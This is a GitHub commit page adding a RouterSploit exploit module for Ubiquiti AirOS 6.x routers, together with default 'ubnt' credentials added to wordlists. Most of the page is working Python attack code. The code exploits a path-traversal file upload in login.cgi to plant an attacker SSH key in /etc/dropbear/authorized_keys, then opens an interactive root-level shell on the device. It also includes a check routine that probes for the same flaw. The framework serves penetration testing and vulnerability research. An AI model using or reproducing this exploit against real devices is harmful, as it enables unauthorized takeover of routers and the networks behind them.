Skip to content

Commit

Permalink
Merge pull request threat9#35 from viniciusmarangoni/master
Browse files Browse the repository at this point in the history
Added exploit module to AirOS 6.x
  • Loading branch information
lucyoa committed Apr 27, 2016
2 parents 677863c + 24cb258 commit a99812a
Show file tree
Hide file tree
Showing 5 changed files with 169 additions and 0 deletions.
Empty file.
166 changes: 166 additions & 0 deletions routersploit/modules/exploits/ubiquiti/airos_6_x.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
import requests, tempfile, os.path
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import (
exploits,
print_success,
print_error,
print_info,
random_text,
sanitize_url,
http_request,
mute,
)

class Exploit(exploits.Exploit):
'''
Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router
'''

__info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',

'authors': [
'93c08539', #Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module
],

'references': [
'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/'
],

'targets': [
'AirOS 6.x'
]
}

target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port

#Disable certificate verification warnings
requests.packages.urllib3.disable_warnings()

def run(self):
if(self.check()):
print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key')

key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64()
private_key = StringIO.StringIO()
key.write_private_key(private_key)

tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key)
tmp_file_pubkey.seek(0)

upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}

upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params)

if(response is None):
print_error('Something was wrong while uploading the SSH Public Key')
return

print_success('Appareantly the exploit worked fine')
print_success('Trying to invoke a interactive SSH Shell')

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()

ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')

client.connect(ip_target, 22, username='ubnt', pkey=pkey)

# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)

try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)

while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))

if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break

sys.stdout.write(x)
sys.stdout.flush()

except socket.timeout:
pass

if(sys.stdin in r):
x = sys.stdin.read(1)

if(len(x) == 0):
break

chan.send(x)

finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()

else:
print_error('Target is not vulnerable')

@mute
def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))

upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET')

if(response is None):
return False #Target not vulnerable

rand_str = random_text(length=16)

tmp_payload = tempfile.TemporaryFile()
tmp_payload.write('vulnerable' + rand_str)
tmp_payload.seek(0)

upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}

response = http_request(url=upload_url, method='POST', files=upload_params)

tmp_payload.close()

if(response is None):
return False #Target not vulnerable

#Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET')

#Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0)

upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}

http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close()

if('vulnerable'+rand_str in verify_upload.text):
return True

else:
return False
1 change: 1 addition & 0 deletions routersploit/wordlists/defaults.txt
Original file line number Diff line number Diff line change
Expand Up @@ -385,6 +385,7 @@ topicalt:password
topicnorm:password
topicres:password
tw:tw
ubnt:ubnt
user:pass
user:password
user:public
Expand Down
1 change: 1 addition & 0 deletions routersploit/wordlists/passwords.txt
Original file line number Diff line number Diff line change
Expand Up @@ -480,6 +480,7 @@ truetime
trustno1
tslinux
tuxalize
ubnt
uplink
user
visual
Expand Down
1 change: 1 addition & 0 deletions routersploit/wordlists/usernames.txt
Original file line number Diff line number Diff line change
Expand Up @@ -256,6 +256,7 @@ tiger
topicalt
topicnorm
topicres
ubnt
user
vcr
veda
Expand Down

0 comments on commit a99812a

Please sign in to comment.